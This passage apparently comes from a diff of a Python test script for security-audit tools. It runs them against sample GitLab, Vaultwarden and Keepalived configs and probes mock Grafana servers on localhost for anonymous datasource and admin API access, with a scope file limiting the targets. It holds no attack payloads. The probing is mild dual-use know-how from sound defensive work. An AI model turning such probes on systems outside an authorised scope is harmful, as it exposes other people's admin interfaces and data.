"keepalived.conf"), "w") as f:
f.write("vrrp_instance VI_1 {\n")
f.write(" state MASTER\n")
f.write(" interface eth0\n")
f.write(" authentication {\n")
f.write(" auth_type AH\n")
f.write(" auth_pass a-long-random-vrrp-secret\n")
f.write(" }\n")
f.write(' notify_master "/usr/local/bin/notify.sh"\n')
f.write("}\n")
class _GrafanaHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlsplit(self.path).path
docs = {
"/api/health": b'{"database":"ok","version":"11.0.0"}',
"/api/datasources": b'[{"name":"prom","type":"prometheus"}]',
"/api/admin/users": b'[]',
}
body = docs.get(path, b'{"message":"not found"}')
code = 200 if path in docs else 404
self.send_response(code)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
class _GrafanaAuthHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
body = b'{"message":"Unauthorized"}'
self.send_response(401)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
gf_srv = http.server.HTTPServer(("127.0.0.1", 0), _GrafanaHandler)
gf_port = gf_srv.server_address[1]
threading.Thread(target=gf_srv.serve_forever, daemon=True).start()
gf_auth_srv = http.server.HTTPServer(("127.0.0.1", 0),
_GrafanaAuthHandler)
gf_auth_port = gf_auth_srv.server_address[1]
threading.Thread(target=gf_auth_srv.serve_forever, daemon=True).start()
cfg27_home = tempfile.mkdtemp(prefix="apex-cfg27-home-")
write_scope(cfg27_home, {"label": "cfg27", "expires": "2099-12-31T23:59:59Z",
"allow_private": True, "allow_ip": ["127.0.0.1"],
"allow_port": [str(gf_port), str(gf_auth_port)]})
res, _ = run([
call(1, "gitlab_audit", root=gl_root),
call(2, "gitlab_audit", root=gl_good_root),
call(3, "vaultwarden_audit", root=vw_root),
call(4, "vaultwarden_audit", root=vw_good_root),
call(5, "keepalived_audit", root=kl_root),
call(6, "keepalived_audit", root=kl_good_root),
call(7, "grafana_api_probe", target="127.0.0.1", port=gf_port,
tls=False),
call(8, "grafana_api_probe", target="127.0.0.1", port=gf_auth_port,
tls=False),
call(9, "grafana_api_probe", target="198.51.100.9", port=3000),
call(10, "gitlab_audit", root="/nonexistent-gl"),
call(11, "vaultwarden_audit", root="/nonexistent-vw"),
call(12, "keepalived_audit", root="/nonexistent-kl"),
], home=cfg27_home)
by_id = {r.get("id"): r for r in res}
gl = json.loads(text(by_id[1]))
gl_kinds = {f["id"] for f in gl["findings"]}
check("gitlab_audit flags HTTP, no redirect and open signup",
{"world-writable", "plain-http", "no-redirect", "open-signup",
"no-letsencrypt"} <= gl_kinds and gl["plain_http"] is True and
gl["signup"] is True, gl)
gl_good = json.loads(text(by_id[2]))
check("gitlab_audit ignores commented defaults and accepts HTTPS",
gl_good["findings_count"] == 0 and gl_good["plain_http"] is False and
gl_good["redirect"] is True, gl_good)
vw = json.loads(text(by_id[3]))
vw_kinds = {f["id"] for f in vw["findings"]}
check("vaultwarden_audit flags signups, weak token and HTTP",
{"world-writable", "open-signups", "weak-admin-token", "plain-http",
"no-smtp"} <= vw_kinds and vw["signups"] is True and
vw["admin_token"] is False, vw)
vw_good = json.loads(text(by_id[4]))
check("vaultwarden_audit accepts closed signups over HTTPS",
vw_good["findings_count"] == 0 and vw_good["signups"] is False and
vw_good["smtp"] is True, vw_good)
kl = json.loads(text(by_id[5]))
kl_kinds = {f["id"] for f in kl["findings"]}
check("keepalived_audit flags PASS, default pass and a shell hook",
{"world-writable", "plain-auth", "default-auth-pass",
"shell-hook"} <= kl_kinds and kl["plain_auth"] is True and
kl["shell_hook"] is True, kl)
kl_good = json.loads(text(by_id[6]))
check("keepalived_audit accepts AH with a strong secret",
kl_good["findings_count"] == 0 and kl_good["plain_auth"] is False and
kl_good["default_pass"] is False, kl_good)
gf = json.loads(text(by_id[7]))
check("grafana_api_probe finds anonymous datasources and admin access",
gf["datasources_open"] is True and gf["admin_open"] is True and
gf["evidence"] and os.path.isfile(gf["evidence"]), gf)
gf_auth = json.loads(text(by_id[8]))
check("grafana_api_probe reports a protected API",
gf_auth["datasources_open"] is False and
gf_auth["admin_open"] is False and
all(e["status"] == 401 for e in gf_auth["endpoints"]), gf_auth)
check("grafana_api_probe refuses an out-of-scope target", err(by_id[9]),
text(by_id[9]))
check("gitlab_audit reports a missing config", err(by_id[10]),
text(by_id[10]))
check("vaultwarden_audit reports a missing config", err(by_id[11]),
text(by_id[11]))
check("keepalived_audit reports a missing config", err(by_id[12]),
text(by_id[12]))
gf_srv.shutdown()
gf_srv.server_close()
gf_auth_srv.shutdown()
gf_auth_srv.server_close()
shutil.rmtree(gl_root, ignore_errors=True)
shutil.rmtree(gl_good_root, ignore_errors=True)
shutil.rmtree(vw_root, ignore_errors=True)
shutil.rmtree(vw_good_root, ignore_errors=True)
shutil.rmtree(kl_root, ignore_errors=True)
shutil.rmtree(kl_good_root, ignore_errors=True)
shutil.rmtree(cfg27_home, ignore_errors=True)
print("\n== esp32 tools ==")
@@ -11665,6 +11854,7 @@ print("\n== esp32 tools ==")
esp_home = tempfile.mkdtemp(prefix="apex-esp-")
write_scope(esp_home, {"label": "esp", "expires": "2099-12-31T23:59:59Z"})
esp_m, esp_s = pty.openpty()